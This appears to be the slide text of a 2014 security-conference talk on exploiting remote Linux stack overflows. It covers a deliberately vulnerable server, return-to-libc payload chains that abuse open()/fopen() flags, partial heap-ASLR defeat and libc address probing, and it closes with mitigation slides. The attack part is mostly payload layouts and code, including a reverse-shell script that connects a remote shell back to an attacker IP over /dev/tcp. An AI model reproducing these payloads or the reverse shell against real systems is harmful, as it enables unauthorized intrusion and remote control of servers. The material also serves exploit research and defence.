Various tricks for remote linux exploits
wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected]
http://wh1ant.kr
CODE BLUE 2014
Acknowledgements
The author would like to thank to A.K.A trigger for reviewing this article :)
About me Name: SeokHa Lee A.K.A: wh1ant (white ant or ant) wh1ant on facebook
I’m A member of ‘WISEGUYS' team, which is a hacking crew in South Korea. I have found multiple vulnerabilities. talked about security-related topics in Korean conferences. various CTF competitions in Korea as challenge-maker with exploitation challenges.
http://wh1ant.kr
http://hackerschool.org
About this talk Remote buffer overflow on linux
• Create file in the server • NULL byte bypass • Neutralize some of heap ASLR • Fast searching libc location
Exploit techniques • Code injection - Must be NX disable • RTL (Return-To-Libc) - Must be ASLR disable • ROP (Return Oriented Programming) - There must be gadgets available. - Too long payload
How to find address? • Brute force • Memory disclosure • use send(), write() functions
[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]
Code and environment
int get_result(const int sock, char odd_or_even) {
char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1);
…
strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;
}
Fedora 18
fork-based server
$ gcc server.c –o server -fno-stack-protector
Attack scenario
Victim Hacker
Find libc address.
Create exploitation file.
Run.
Creating file with permission
1 - /tmp directory - we can use “/tmp” string in the libc library. 2 – log files which - we can use “log/log_%Y%m%d.log” string. 3 – daemon PID file which - file to check the process.
What kind of functions do we use?
open(), write()
O_WRONLY == 0x1 O_CREAT == 0x40
Payload
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
Payload to create server side exploit.
Interesting kernel code struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0;
/* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY;
/* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC;
if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag);
/* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE;
Check only 0x40 (O_CREAT)
Bitwise AND operation
00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------00000000 00000000 00000000 00000000
00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000
0x40 (O_CREAT)
00000000 00000000 00000000 01000000
0x40 (O_CREAT)
0x40 (O_CREAT)
Create file #include <stdio.h> #include <fcntl.h>
int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; }
Hex number 0x11111040 means the O_CREAT also 0xfffff9ff means octal 4777 permission. Run a program, you can see create "test" name file.
Failed
static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files);
if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; }
#include <unistd.h>
ssize_t write(int fd, const void *buf, size_t count);
File descriptor maximum number over is NULL return.
New test
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(‘A’, fp); fclose(fp); return 0; }
#include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
#include <stdio.h>
int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() error\n"); return -1; }
fputc(0xffffff41, fp); fclose(fp); return 0; }
Fake code #include <stdio.h>
FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);
“answer” == append mode “wer” == write mode
“answer”
fopen() function code switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; }
; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c
Payload
[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]
[&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>]
But, how to know file pointer address?
Random file pointer #include <stdio.h>
int main(void) { FILE* fp;
fp=fopen("test_file", "wt");
printf("fopen(): %p\n", fp);
if(fp) fclose(fp);
return 0; }
#include <stdio.h> #include <stdlib.h>
int main(void) { char* p; FILE* fp;
p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w");
printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp);
if(p) free(p); if(fp) fclose(fp); return 0; }
Neutralize some of heap ASLR
0xb7400468 or 0xb7500468
Heap structure 1/5 malloc()
brk() mmap()
allocation larger than 128 kb
__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()
__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()
Heap structure 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() tries to call mmap() with 0xffffffff as argument */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // checks allocation, and it fails because we cannot allocate memory with the size of 0xffffffff 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
Heap structure 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // when fopen() call 2859 if(!victim) { 2860 /* Maybe the failure is due to running out of mmapped areas. */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868 /* ... or sbrk() has failed and there is still a chance to mmap() */ /* arena_get2() also calls mmap() internally */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);
Heap structure 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // pre-allocated memory address from mmap (0xb7400000) 2682 size = chunksize(p); // gets the size of the previous allocation // (returns approximately 0x21000) 2683 2684 /* check that one of the above allocation paths succeeded */ /* checks if previously saved size is greater than requested memory size */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // returns memory address for an allocation from mmap 2693 } 2694 2695 /* catch all failure paths */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }
Maps information
We can use this memory!
What is ‘repeat code’?
; repeat code 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx
; repeat code 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx
Find ‘repeat code’
[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]
start address of execution code: 0x080486ac end address of execution code : 0x08049578
Find ‘repeat code’ via python
File pointer check payload
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
/proc/net/tcp (ESTABLISHED state check)
File write payload
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
#!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done
Server side exploit code
Fast searching libc location 1/5
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Fast searching libc location 2/5
0xb7801000 – 0xb7622000 = 0x1df000 (offset)
... int* p=0x0; int temp=*p; // If invalid memory address, Segmentation fault occurs ....
... int* p=0x08048000; int temp=*p; /* If this memory address exists, Segmentation fault will not occur */ ....
Fast searching libc location 3/5
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
[&puts()] [&repeat code] [&exist address]
Exist address findding
Fast searching libc location 4/5
[&puts()] [&repeat code] [0xb7 5~8 00101] <= Find the 6 position. [&puts()] [&repeat code] [0xb76 0~f 0101] <= Find the 5 position. [&puts()] [&repeat code] [0xb761 0~f 101] <= Find the 4 position.
6 position is 0xb7700101 address exist memory. 5 position is 0xb7630101 address exist memory. 4 position is 0xb7622101 address exist memory.
b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …
Find address by one digit
Fast searching libc location 5/5
0xb7622101 – 0x101 = 0xb7622000
Memory access functions int puts(const char *s);
size_t strlen(const char *s);
int atoi(const char *nptr);
int strcmp(const char *s1, const char *s2);
int printf(const char *format, ...);
int sprintf(char *str, const char *format, ...);
Payload review 1/2
[&puts()] [&repeat code] [&exist libc]
1. Find libc address
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]
2. Find file pointer address
[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]
3. File write
Payload review 2/2
[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]
4. File permission switch and run
DEMO (http://youtu.be/LsgI-SALQJY)
DEMO2
Payload division
big_buf[128]
user_email[50] user_name[50]
payload1
payload2
payload3
add esp 0x118
add esp 0x48
[&puts()] [&repeat code] [0x00049cf0]
0x00049cf0 => \xf0\x9c\x04\x00
ASCII-Armor enabled system
High address
NULL byte bypass payload
[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]
How to create binary file to NULL byte bypass?
0xffffff00 => \x00\xff\xff\xff
Warning $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
mm_struct -> vm_area_struct -> mm_base You can see the 0xb7801000 address
521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;
How to protect? 1/4
Removing heap ASLR disable code!
How to protect? 2/4
NULL parameter check
#include <stdio.h> #include <fcntl.h>
void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() error\n"); return; } printf("open_test() call\n"); }
int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open failed open_test(0x00ffff41); // open failed return 0; }
open(), mmap(), mprotect(), fputc(), etc…
How to protect? 3/4 if(strlen(mode)>3) // string length check { printf(“fopen() error\n”); // string length over return NULL; }
switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }
How to protect? 4/4
Placed in a random offset to each address.
$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]
Any Question?
Thanks for listening!